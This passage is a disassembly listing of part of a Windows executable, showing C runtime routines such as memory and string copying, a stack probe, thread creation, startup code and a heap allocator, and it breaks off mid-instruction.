--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448D5B loc_448DB1: ; CODE XREF: sub_448D5B+4Bj mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_448D5B ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_448DCB proc near ; CODE XREF: sub_4429D2+Fp ; sub_442A22+Fp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] test edx, edx jz short loc_448E19 mov ecx, [esp+arg_0] xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_448E12 neg ecx and ecx, 3 jz short loc_448DF4 sub edx, ecx loc_448DEE: ; CODE XREF: sub_448DCB+27j mov [edi], al inc edi dec ecx jnz short loc_448DEE loc_448DF4: ; CODE XREF: sub_448DCB+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_448E12 rep stosd test edx, edx jz short loc_448E18 loc_448E12: ; CODE XREF: sub_448DCB+18j ; sub_448DCB+3Fj ... mov [edi], al inc edi dec edx jnz short loc_448E12 loc_448E18: ; CODE XREF: sub_448DCB+45j pop edi loc_448E19: ; CODE XREF: sub_448DCB+6j mov eax, [esp+arg_0] retn sub_448DCB endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_448E2B proc near ; CODE XREF: sub_442EC0+2Cp ; sub_442F45+57p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ecx, [esp+4+arg_8] mov ebx, [esp+4+arg_0] mov edx, [esp+4+arg_4] jmp short loc_448E41 ; --------------------------------------------------------------------------- loc_448E3A: ; CODE XREF: sub_448E2B+18j mov al, [edx] mov [ebx], al inc ebx inc edx dec ecx loc_448E41: ; CODE XREF: sub_448E2B+Dj test ecx, ecx jnz short loc_448E3A mov eax, [esp+4+arg_0] pop ebx retn sub_448E2B endp ; =============== S U B R O U T I N E ======================================= sub_448E4B proc near ; CODE XREF: sub_443673+2Ep ; sub_44397C+11p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] mov edx, ecx jmp short loc_448E54 ; --------------------------------------------------------------------------- loc_448E53: ; CODE XREF: sub_448E4B+Cj inc edx loc_448E54: ; CODE XREF: sub_448E4B+6j cmp byte ptr [edx], 0 jnz short loc_448E53 mov eax, edx sub eax, ecx retn sub_448E4B endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_448E6B proc near ; CODE XREF: sub_443701+3Fp ; sub_443A14+2D6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push edi mov ecx, [esp+8+arg_0] mov ebx, [esp+8+arg_4] mov edi, ecx loc_448E77: ; CODE XREF: sub_448E6B+18j mov eax, edi inc edi mov edx, ebx inc ebx mov dl, [edx] mov [eax], dl test dl, dl jnz short loc_448E77 mov eax, ecx pop edi pop ebx retn sub_448E6B endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_448E8B proc near ; CODE XREF: sub_443701+53p ; sub_443701+66p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ecx, [esp+4+arg_0] mov ebx, [esp+4+arg_4] mov edx, ecx jmp short loc_448E99 ; --------------------------------------------------------------------------- loc_448E98: ; CODE XREF: sub_448E8B+11j inc edx loc_448E99: ; CODE XREF: sub_448E8B+Bj cmp byte ptr [edx], 0 jnz short loc_448E98 jmp short loc_448EA2 ; --------------------------------------------------------------------------- loc_448EA0: ; CODE XREF: sub_448E8B+1Dj inc edx inc ebx loc_448EA2: ; CODE XREF: sub_448E8B+13j mov al, [ebx] mov [edx], al test al, al jnz short loc_448EA0 mov eax, ecx pop ebx retn sub_448E8B endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_448EBB proc near ; CODE XREF: sub_443A14+268p ; sub_443A14+297p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] mov eax, [esp+0Ch+arg_4] cmp byte ptr [eax], 0 jnz short loc_448EEB mov eax, ebx jmp short loc_448F04 ; --------------------------------------------------------------------------- loc_448ECF: ; CODE XREF: sub_448EBB+45j mov edi, ebx mov esi, [esp+0Ch+arg_4] loc_448ED5: ; CODE XREF: sub_448EBB+2Dj inc esi mov eax, esi cmp byte ptr [eax], 0 jnz short loc_448EE1 mov eax, ebx jmp short loc_448F04 ; --------------------------------------------------------------------------- loc_448EE1: ; CODE XREF: sub_448EBB+20j inc edi mov eax, edi mov dl, [esi] cmp [eax], dl jz short loc_448ED5 inc ebx loc_448EEB: ; CODE XREF: sub_448EBB+Ej mov eax, [esp+0Ch+arg_4] movzx eax, byte ptr [eax] push eax push ebx call sub_44A67B add esp, 8 mov ebx, eax test eax, eax jnz short loc_448ECF xor eax, eax loc_448F04: ; CODE XREF: sub_448EBB+12j ; sub_448EBB+24j pop edi pop esi pop ebx retn sub_448EBB endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; --------------------------------------------------------------------------- pop ecx pop eax add eax, 3 and eax, 0FFFFFFFCh call sub_448F2B mov eax, esp push ecx retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= sub_448F2B proc near ; CODE XREF: sub_443D01+8p ; sub_443F6D+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_448F4B loc_448F37: ; CODE XREF: sub_448F2B+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_448F37 loc_448F4B: ; CODE XREF: sub_448F2B+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_448F2B endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448F5B proc near ; CODE XREF: sub_444CA3+D8p ; sub_4475EE+CBp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_C] mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] mul [ebp+arg_8] mov esi, eax test eax, eax jz loc_44905F cmp [ebp+arg_4], 0 jnz loc_449035 mov eax, [ebp+arg_8] jmp loc_44905F ; --------------------------------------------------------------------------- loc_448F8F: ; CODE XREF: sub_448F5B+DCj mov eax, [ebx+18h] cmp eax, [ebx+10h] ja short loc_448FA6 push ebx call sub_44A69B pop ecx test eax, eax jl loc_44903D loc_448FA6: ; CODE XREF: sub_448F5B+3Aj test word ptr [ebx], 400h jz short loc_448FC1 push esi push 0Ah mov eax, [ebp+var_4] push eax call sub_44A79B add esp, 0Ch mov [ebp+var_10], eax jmp short loc_448FC8 ; --------------------------------------------------------------------------- loc_448FC1: ; CODE XREF: sub_448F5B+50j mov [ebp+var_10], 0 loc_448FC8: ; CODE XREF: sub_448F5B+64j mov eax, [ebp+var_10] mov [ebp+var_8], eax test eax, eax jz short loc_448FE0 mov eax, [ebp+var_8] mov edx, [ebp+var_4] sub eax, edx inc eax mov [ebp+var_14], eax jmp short loc_448FE3 ; --------------------------------------------------------------------------- loc_448FE0: ; CODE XREF: sub_448F5B+75j mov [ebp+var_14], esi loc_448FE3: ; CODE XREF: sub_448F5B+83j mov edi, [ebp+var_14] mov eax, [ebx+18h] mov edx, [ebx+10h] sub eax, edx mov [ebp+var_C], eax cmp [ebp+var_C], edi jnb short loc_449000 mov [ebp+var_8], 0 mov edi, [ebp+var_C] loc_449000: ; CODE XREF: sub_448F5B+99j push edi mov eax, [ebp+var_4] push eax mov eax, [ebx+10h] push eax call sub_448E2B add esp, 0Ch mov eax, [ebp+var_4] add eax, edi mov [ebp+var_4], eax sub esi, edi lea eax, [ebx+10h] mov edx, [eax] add edx, edi mov [eax], edx cmp [ebp+var_8], 0 jz short loc_449035 push ebx call sub_44A49B pop ecx test eax, eax jnz short loc_44903D loc_449035: ; CODE XREF: sub_448F5B+26j ; sub_448F5B+CDj test esi, esi jnz loc_448F8F loc_44903D: ; CODE XREF: sub_448F5B+45j ; sub_448F5B+D8j test word ptr [ebx], 800h jz short loc_44904B push ebx call sub_44A49B pop ecx loc_44904B: ; CODE XREF: sub_448F5B+E7j mov eax, [ebp+arg_4] mov [ebp+var_8], eax mul [ebp+arg_8] sub eax, esi mov edx, [ebp+var_8] mov ecx, edx xor edx, edx div ecx loc_44905F: ; CODE XREF: sub_448F5B+1Cj ; sub_448F5B+2Fj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_448F5B endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 7Ch, 27h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8BC push offset sub_408748 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp-18h], esp mov ebx, [ebp+8] push ebx mov eax, dword_411774 push eax call dword_411D9C ; TlsSetValue test eax, eax jnz short loc_4490AD push 1 call sub_44A98B pop ecx loc_4490AD: ; CODE XREF: DMN1:004490A3j mov dword ptr [ebp-4], 0 mov eax, [ebx+44h] push eax call dword ptr [ebx+40h] pop ecx call sub_44919B jmp short loc_4490EB ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov eax, [eax] mov eax, [eax] mov [ebp-1Ch], eax mov eax, [ebp-14h] push eax mov eax, [ebp-1Ch] push eax call sub_44A99B add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov eax, [ebp-1Ch] push eax call sub_44A98B pop ecx loc_4490EB: ; CODE XREF: DMN1:004490C1j or dword ptr [ebp-4], 0FFFFFFFFh xor eax, eax pop edi pop esi pop ebx mov ecx, [ebp-10h] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44910B proc near ; CODE XREF: DMN1:00445410p ; DMN1:0044548Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi xor esi, esi push 48h call sub_44999B pop ecx mov ebx, eax test eax, eax jz short loc_44917A push ebx call sub_44A85B pop ecx mov eax, [ebp+arg_0] mov [ebx+40h], eax mov eax, [ebp+arg_8] mov [ebx+44h], eax push ebx push 4 push ebx push offset sub_407C00 mov eax, [ebp+arg_4] push eax push 0 call dword_411DA0 ; CreateThread mov edi, eax mov [ebx+4], eax test eax, eax jnz short loc_44915C call dword_411CEC ; RtlGetLastWin32Error mov esi, eax jmp short loc_44917A ; --------------------------------------------------------------------------- loc_44915C: ; CODE XREF: sub_44910B+45j mov eax, edi push eax call dword_411DA4 ; ResumeThread cmp eax, 0FFFFFFFFh jnz short loc_449176 call dword_411CEC ; RtlGetLastWin32Error mov esi, eax jmp short loc_44917A ; --------------------------------------------------------------------------- loc_449176: ; CODE XREF: sub_44910B+5Fj mov eax, edi jmp short loc_44918F ; --------------------------------------------------------------------------- loc_44917A: ; CODE XREF: sub_44910B+14j ; sub_44910B+4Fj ... push ebx call sub_4488EB pop ecx test esi, esi jz short loc_44918C push esi call sub_449A3B pop ecx loc_44918C: ; CODE XREF: sub_44910B+78j or eax, 0FFFFFFFFh loc_44918F: ; CODE XREF: sub_44910B+6Dj pop edi pop esi pop ebx pop ebp retn sub_44910B endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44919B proc near ; CODE XREF: DMN1:00444FDCp ; DMN1:00445449p ... push ebx call sub_44A88B mov ebx, eax test eax, eax jnz short loc_4491AF push 1 call sub_44A98B pop ecx loc_4491AF: ; CODE XREF: sub_44919B+Aj cmp dword ptr [ebx+4], 0FFFFFFFFh jz short loc_4491C2 mov eax, [ebx+4] push eax call dword_411CFC ; CloseHandle loc_4491C2: ; CODE XREF: sub_44919B+1Bj push ebx call sub_44A8FB pop ecx push 0 call dword_411DA8 ; ExitThread pop ebx retn sub_44919B endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4491DB proc near ; CODE XREF: sub_44706B+DAp ; sub_44706B+F1p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00449261 SIZE 0000001B BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8C8 push offset sub_408748 push large dword ptr fs:0 mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp push 2 call sub_449F3B pop ecx mov [ebp+var_4], 0 jmp short loc_449227 ; --------------------------------------------------------------------------- loc_449212: ; CODE XREF: sub_4491DB+53j mov eax, dword_4111A4 lea edx, [eax+1] mov dword_4111A4, edx call dword_411064[eax*4] loc_449227: ; CODE XREF: sub_4491DB+35j cmp dword_4111A4, 50h jb short loc_449212 jmp short loc_449244 ; --------------------------------------------------------------------------- loc_449232: ; CODE XREF: sub_4491DB+70j mov eax, dword_4111A8 dec eax mov dword_4111A8, eax call dword_411064[eax*4] loc_449244: ; CODE XREF: sub_4491DB+55j cmp dword_4111A8, 0 jnz short loc_449232 or [ebp+var_4], 0FFFFFFFFh call sub_449258 jmp short loc_449261 sub_4491DB endp ; =============== S U B R O U T I N E ======================================= sub_449258 proc near ; CODE XREF: sub_4491DB+76p push 2 call sub_449FBB pop ecx retn sub_449258 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4491DB loc_449261: ; CODE XREF: sub_4491DB+7Bj mov eax, [ebp+arg_0] push eax call sub_44A98B pop ecx pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4491DB ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= sub_44928B proc near ; CODE XREF: DMN1:00447E2Ap ; DMN1:00447E59p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_44AA0B pop ecx retn sub_44928B endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8D4 push offset sub_408748 push large dword ptr fs:0 mov large fs:0, esp sub esp, 50h push ebx push esi push edi mov [ebp-18h], esp push 2000000h call sub_44C62B pop ecx mov dword_4117E0, eax call sub_449DAB test eax, eax jnz short loc_4492E2 push 1 call sub_44A98B pop ecx loc_4492E2: ; CODE XREF: DMN1:004492D8j call sub_44A7CB test eax, eax jnz short loc_4492F3 push 1 call sub_44A98B pop ecx loc_4492F3: ; CODE XREF: DMN1:004492E9j mov dword ptr [ebp-4], 0 call sub_44AA3B call sub_44AA9B call sub_44AF0B call sub_44AFAB mov esi, offset dword_4101D4 jmp short loc_44931A ; --------------------------------------------------------------------------- loc_449315: ; CODE XREF: DMN1:00449320j call dword ptr [esi] add esi, 4 loc_44931A: ; CODE XREF: DMN1:00449313j cmp esi, offset dword_4101D4 jb short loc_449315 mov dword ptr [ebp-30h], 0 lea eax, [ebp-5Ch] push eax call dword_411DAC ; GetStartupInfoA push 0 call dword_411D70 ; GetModuleHandleA mov [ebp-60h], eax call sub_44B06B test byte ptr [ebp-30h], 1 jz short loc_44934F movzx esi, word ptr [ebp-2Ch] jmp short loc_449354 ; --------------------------------------------------------------------------- loc_44934F: ; CODE XREF: DMN1:00449347j mov esi, 0Ah loc_449354: ; CODE XREF: DMN1:0044934Dj push esi push eax push 0 mov eax, [ebp-60h] push eax call sub_448484 mov ebx, eax mov edi, offset dword_4101D4 jmp short loc_44936F ; --------------------------------------------------------------------------- loc_44936A: ; CODE XREF: DMN1:00449375j call dword ptr [edi] add edi, 4 loc_44936F: ; CODE XREF: DMN1:00449368j cmp edi, offset dword_4101D4 jb short loc_44936A push ebx call sub_4491DB pop ecx jmp short loc_4493A8 ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov eax, [eax] mov eax, [eax] mov [ebp-1Ch], eax mov eax, [ebp-14h] push eax mov eax, [ebp-1Ch] push eax call sub_44A99B add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov eax, [ebp-1Ch] push eax call sub_44A98B pop ecx loc_4493A8: ; CODE XREF: DMN1:0044937Ej or dword ptr [ebp-4], 0FFFFFFFFh pop edi pop esi pop ebx mov ecx, [ebp-10h] mov large fs:0, ecx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4493CB proc near ; CODE XREF: sub_44965B+ECp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov eax, [ebp+arg_0] add eax, 3 shr eax, 0Eh shl eax, 0Eh lea esi, [eax+4000h] mov edi, esi shl edi, 2 push edi call sub_44B0AB pop ecx mov [ebp+var_8], eax test eax, eax jnz short loc_44940A mov dword_4117E4, 0 xor eax, eax jmp loc_449648 ; --------------------------------------------------------------------------- loc_44940A: ; CODE XREF: sub_4493CB+2Cj mov eax, dword_4127F0 mov edx, dword_4127EC add eax, edx cmp eax, [ebp+var_8] jnz short loc_449430 mov ebx, dword_4127EC mov eax, dword_4127F0 add edi, eax mov esi, edi shr esi, 2 jmp short loc_44943D ; --------------------------------------------------------------------------- loc_449430: ; CODE XREF: sub_4493CB+4Fj mov eax, [ebp+var_8] mov ebx, eax mov edx, ebx sub edx, eax mov eax, edx sub edi, eax loc_44943D: ; CODE XREF: sub_4493CB+63j mov eax, esi shl eax, 2 lea edx, [ebx+eax] mov dword_4127EC, edx mov edx, edi sub edx, eax mov eax, edx mov dword_4127F0, eax mov eax, dword_4111D0 add eax, 4 cmp ebx, eax jnz short loc_44946F cmp dword_4111D8, 0 jnz loc_4495E1 loc_44946F: ; CODE XREF: sub_4493CB+95j mov eax, dword_4111D8 mov [ebp+var_C], eax mov dword_4111D8, ebx mov eax, [ebp+var_C] mov [ebx], eax add ebx, 4 dec esi mov dword_4111D0, ebx mov eax, dword_4111D4 test eax, eax jz short loc_449499 cmp eax, ebx jbe short loc_44949F loc_449499: ; CODE XREF: sub_4493CB+C8j mov dword_4111D4, ebx loc_44949F: ; CODE XREF: sub_4493CB+CCj mov eax, esi or eax, 80000000h mov [ebx], eax mov eax, dword_4111D0 lea eax, [eax+esi*4-4] mov dword_4111D0, eax mov edx, dword_4111D0 mov eax, esi or eax, 80000000h mov [edx], eax sub esi, 2 add ebx, 4 mov eax, dword_4111D0 lea ebx, [eax-4] cmp esi, dword_4111E8 ja short loc_44950D cmp esi, dword_4111E0 ja short loc_4494F5 mov eax, dword_4111DC cmp esi, eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_449508 ; --------------------------------------------------------------------------- loc_4494F5: ; CODE XREF: sub_4493CB+116j mov eax, dword_4111E4 cmp esi, eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_449508: ; CODE XREF: sub_4493CB+128j mov eax, [ebp+var_10] jmp short loc_44953D ; --------------------------------------------------------------------------- loc_44950D: ; CODE XREF: sub_4493CB+10Ej cmp esi, dword_4111F0 ja short loc_44952A mov eax, dword_4111EC cmp esi, eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_44953D ; --------------------------------------------------------------------------- loc_44952A: ; CODE XREF: sub_4493CB+148j mov eax, dword_4111F4 cmp esi, eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_44953D: ; CODE XREF: sub_4493CB+140j ; sub_4493CB+15Dj mov eax, [ebp+var_10] mov dword_411200, eax mov eax, dword_411200 mov eax, dword_4111AC[eax*4] mov [ebp+var_18], eax test eax, eax jnz short loc_449583 mov [ebp+var_14], ebx mov [ebp+var_18], ebx mov eax, dword_411200 mov dword_4111AC[eax*4], ebx mov eax, dword_411200 cmp dword_4111FC, eax jle short loc_44958C mov eax, dword_411200 mov dword_4111FC, eax jmp short loc_44958C ; --------------------------------------------------------------------------- loc_449583: ; CODE XREF: sub_4493CB+18Bj mov eax, [ebp+var_18] mov eax, [eax-8] mov [ebp+var_14], eax loc_44958C: ; CODE XREF: sub_4493CB+1AAj ; sub_4493CB+1B6j mov eax, [ebp+var_18] mov [ebx-4], eax mov edx, [ebp+var_18] mov [edx-8], ebx mov edx, [ebp+var_14] mov [edx-4], ebx mov eax, [ebp+var_14] mov [ebx-8], eax mov eax, esi shl eax, 2 mov edx, ebx sub edx, eax mov [edx+4], esi mov [ebx], esi mov eax, dword_411200 mov dword_4111AC[eax*4], ebx jmp short loc_4495C6 ; --------------------------------------------------------------------------- loc_4495C0: ; CODE XREF: sub_4493CB+20Dj inc dword_4111FC loc_4495C6: ; CODE XREF: sub_4493CB+1F3j mov eax, dword_4111FC cmp dword_4111AC[eax*4], 0 jnz short loc_4495DA cmp eax, 7 jl short loc_4495C0 loc_4495DA: ; CODE XREF: sub_4493CB+208j mov eax, 1 jmp short loc_449648 ; --------------------------------------------------------------------------- loc_4495E1: ; CODE XREF: sub_4493CB+9Ej add ebx, 0FFFFFFFCh mov eax, [ebx] and eax, 7FFFFFFFh add eax, esi mov [ebp+var_4], eax mov eax, esi or eax, 80000000h mov [ebx], eax mov eax, dword_4111D0 lea eax, [eax+esi*4] mov dword_4111D0, eax mov edx, dword_4111D0 mov eax, [ebx] mov [edx-4], eax mov edx, dword_4111D0 mov eax, [ebp+var_4] or eax, 80000000h mov [edx], eax mov eax, [ebp+var_4] mov edx, dword_4111D0 mov ecx, eax shl ecx, 2 sub edx, ecx or eax, 80000000h mov [edx+4], eax lea eax, [ebx+4] push eax call sub_4488EB pop ecx mov eax, 1 loc_449648: ; CODE XREF: sub_4493CB+3Aj ; sub_4493CB+214j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4493CB endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44965B proc near ; CODE XREF: sub_44999B+4Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi xor ebx, ebx mov eax, [ebp+arg_0] add eax, 3 shr eax, 2 lea esi, [eax+2] cmp esi, 4 jnb short loc_44967C mov esi, 4 loc_44967C: ; CODE XREF: sub_44965B+1Aj xor edi, edi cmp esi, dword_4111E8 ja short loc_4496B8 cmp esi, dword_4111E0 ja short loc_4496A0 mov eax, dword_4111DC cmp esi, eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_4496B3 ; --------------------------------------------------------------------------- loc_4496A0: ; CODE XREF: sub_44965B+31j mov eax, dword_4111E4 cmp esi, eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_4496B3: ; CODE XREF: sub_44965B+43j mov eax, [ebp+var_10] jmp short loc_4496E8 ; --------------------------------------------------------------------------- loc_4496B8: ; CODE XREF: sub_44965B+29j cmp esi, dword_4111F0 ja short loc_4496D5 mov eax, dword_4111EC cmp esi, eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_4496E8 ; --------------------------------------------------------------------------- loc_4496D5: ; CODE XREF: sub_44965B+63j mov eax, dword_4111F4 cmp esi, eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_4496E8: ; CODE XREF: sub_44965B+5Bj ; sub_44965B+78j mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, dword_4111FC cmp [ebp+var_C], eax jge short loc_449738 mov eax, dword_4111FC mov [ebp+var_C], eax jmp short loc_449738 ; --------------------------------------------------------------------------- loc_449702: ; CODE XREF: sub_44965B+E5j mov eax, [ebp+var_C] lea edx, [eax+1] mov [ebp+var_C], edx mov eax, dword_4111AC[eax*4] mov ebx, eax test eax, eax jz short loc_449738 mov eax, dword_4111D0 add eax, 0FFFFFFFCh cmp ebx, eax jnz short loc_449727 mov ebx, [ebx-4] loc_449727: ; CODE XREF: sub_44965B+C7j mov [ebp+var_4], ebx loc_44972A: ; CODE XREF: sub_44965B+DBj mov edi, [ebx] cmp edi, esi jnb short loc_449738 mov ebx, [ebx-4] cmp ebx, [ebp+var_4] jnz short loc_44972A loc_449738: ; CODE XREF: sub_44965B+9Bj ; sub_44965B+A5j ... cmp edi, esi jnb short loc_449742 cmp [ebp+var_C], 8 jl short loc_449702 loc_449742: ; CODE XREF: sub_44965B+DFj cmp edi, esi jnb short loc_449768 push esi call sub_4493CB pop ecx test eax, eax jz loc_449992 mov eax, dword_411200 mov [ebp+var_C], eax mov ebx, dword_4111AC[eax*4] mov edi, [ebx] jmp short loc_449771 ; --------------------------------------------------------------------------- loc_449768: ; CODE XREF: sub_44965B+E9j cmp [ebp+var_C], 0 jle short loc_449771 dec [ebp+var_C] loc_449771: ; CODE XREF: sub_44965B+10Bj ; sub_44965B+111j mov eax, edi sub eax, esi mov [ebp+var_14], eax cmp eax, 4 jb loc_4498FA mov eax, dword_4111E8 cmp [ebp+var_14], eax ja short loc_4497C1 mov eax, dword_4111E0 cmp [ebp+var_14], eax ja short loc_4497A8 mov eax, dword_4111DC cmp [ebp+var_14], eax setnbe al and eax, 1 mov [ebp+var_1C], eax jmp short loc_4497BC ; --------------------------------------------------------------------------- loc_4497A8: ; CODE XREF: sub_44965B+138j mov eax, dword_4111E4 cmp [ebp+var_14], eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_1C], eax loc_4497BC: ; CODE XREF: sub_44965B+14Bj mov eax, [ebp+var_1C] jmp short loc_4497F5 ; --------------------------------------------------------------------------- loc_4497C1: ; CODE XREF: sub_44965B+12Ej mov eax, dword_4111F0 cmp [ebp+var_14], eax ja short loc_4497E1 mov eax, dword_4111EC cmp [ebp+var_14], eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_1C], eax jmp short loc_4497F5 ; --------------------------------------------------------------------------- loc_4497E1: ; CODE XREF: sub_44965B+16Ej mov eax, dword_4111F4 cmp [ebp+var_14], eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_1C], eax loc_4497F5: ; CODE XREF: sub_44965B+164j ; sub_44965B+184j mov eax, [ebp+var_1C] mov [ebp+var_18], eax mov eax, [ebp+var_C] cmp [ebp+var_18], eax jz loc_4498E7 mov eax, [ebx-4] mov [ebp+var_20], eax cmp ebx, [ebp+var_20] jnz short loc_449849 mov eax, [ebp+var_C] mov dword_4111AC[eax*4], 0 mov eax, [ebp+var_C] cmp dword_4111FC, eax jnz short loc_44987A jmp short loc_449833 ; --------------------------------------------------------------------------- loc_44982D: ; CODE XREF: sub_44965B+1EAj inc dword_4111FC loc_449833: ; CODE XREF: sub_44965B+1D0j mov eax, dword_4111FC cmp dword_4111AC[eax*4], 0 jnz short loc_449847 cmp eax, 7 jl short loc_44982D loc_449847: ; CODE XREF: sub_44965B+1E5j jmp short loc_44987A ; --------------------------------------------------------------------------- loc_449849: ; CODE XREF: sub_44965B+1B5j mov eax, [ebx-8] mov [ebp+var_24], eax mov edx, [ebp+var_24] mov eax, [ebp+var_20] mov [edx-4], eax mov edx, [ebp+var_20] mov eax, [ebp+var_24] mov [edx-8], eax mov eax, [ebp+var_C] cmp ebx, dword_4111AC[eax*4] jnz short loc_44987A mov eax, [ebp+var_C] mov edx, [ebp+var_24] mov dword_4111AC[eax*4], edx loc_44987A: ; CODE XREF: sub_44965B+1CEj ; sub_44965B:loc_449847j ... mov eax, [ebp+var_18] mov eax, dword_4111AC[eax*4] mov [ebp+var_24], eax test eax, eax jnz short loc_4498B0 mov [ebp+var_20], ebx mov [ebp+var_24], ebx mov eax, [ebp+var_18] mov dword_4111AC[eax*4], ebx mov eax, [ebp+var_18] cmp dword_4111FC, eax jle short loc_4498B9 mov eax, [ebp+var_18] mov dword_4111FC, eax jmp short loc_4498B9 ; --------------------------------------------------------------------------- loc_4498B0: ; CODE XREF: sub_44965B+22Ej mov eax, [ebp+var_24] mov eax, [eax-8] mov [ebp+var_20], eax loc_4498B9: ; CODE XREF: sub_44965B+249j ; sub_44965B+253j mov eax, [ebp+var_24] mov [ebx-4], eax mov edx, [ebp+var_24] mov [edx-8], ebx mov edx, [ebp+var_20] mov [edx-4], ebx mov eax, [ebp+var_20] mov [ebx-8], eax mov eax, 